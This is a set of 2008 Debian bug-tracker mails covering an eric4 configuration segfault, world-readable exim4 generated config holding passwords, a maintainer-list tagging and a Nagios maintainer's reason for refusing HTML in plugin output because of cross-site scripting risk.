Package: eric Version: 4.1.1-1 Severity: important File: /usr/bin/eric4-configure *** Please type your report below this line *** eric4-configure segfaults at startup, printing this line in system logs : kernel: python[8682]: segfault at 0003 eip b6d3b183 esp bf8e15c0 error The main problem is that when launching eric4 for the 1st time, it shows this message : eric4 n'a pas encore été configuré. La fenêtre de configuration va être ouverte. (eric4 has not been configured. Configuration windiw will be opened). There is only an OK button, that launches eric4-configure. Thus, eric4 is not usable. -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (900, 'testing'), (800, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/1 CPU core) Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages eric depends on: ii bicyclerepair 0.9-4.2A refactoring tool for python ii python2.5.2-1An interactive high-level object-o ii python-central0.6.6 register and build utility for Pyt ii python-qscintilla22.2-1 Python bindings for QScintilla 2 ii python-qt44.3.3-2Python bindings for Qt4 Versions of packages eric recommends: ii eric-api-files4.1.1-1API description files for use with ii libqt3-i18n 3:3.3.8b-5 i18n files for Qt3 library ii python-xml0.8.4-10 XML tools for Python -- debconf-show failed -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482394: wrong permissions to exim4/config.autogenerated
Package: exim4-config Version: 4.63-17 /var/lib/exim4/config.autogenerated all world readable, with passwords from /etc/exim4/exim4.conf.localmacros (which is 600) -- sergio -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#481175: setting package to debian-maintainers, tagging 481175
# Automatically generated email from bts, devscripts version 2.10.27 # # debian-maintainers (1.34) UNRELEASED; urgency=low # # * Added Debian maintainer LI Daobing. Closes: #481175 package debian-maintainers tags 481175 + pending -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482393: /usr/bin/eric4: eric4-configure segfaults at startup
Hi There is a new version of eric at mentors.debian.net. Could you please check if it solves your problem. I have been waiting a few days for someone to upload it and I hope it will happen soon. Cheers Gudjon -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#474967: URL in plugins output converted to html entity
tags #474967 wontfix thanks On Sun, Apr 27, 2008 at 03:59:24PM +0200, Marc Haber wrote: I guess that this was never intended to work since it might offer a possibility to inject malicous javascript into nagios' web frontend. After consulting with other members of the Debian Nagios team, I have tagged this bug wontfix. Allowing HTML output from plugins opens Nagios up for Cross-site scripting attacks (see #416814), and upstream has released version 2.11 to prevent these attacks. This is the exact opposite bug than yours. There isn't really a safe way to allow HTML from plugins, so I think that Nagios' current behavior is the safe default. I guess that it would be a good idea to send a feature request upstream to let the local admin disable the HTML escaping for trusted sites, or to somehow cram it through libtidy, or perhaps just notice URLs in the escaped output and arbitrarily rewrite them as links. (this last paragraph was snarfed from sean finney's mail at http://lists.alioth.debian.org/pipermail/pkg-nagios-devel/2008-May/003596.html). Greetings Marc -- - Marc Haber | I don't trust Computers. They | Mailadresse im Header Mannheim, Germany | lose things.Winona Ryder | Fon: *49 621 72739834 Nordisch by Nature | How to make an American Quilt | Fax: *49 621 72739835 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
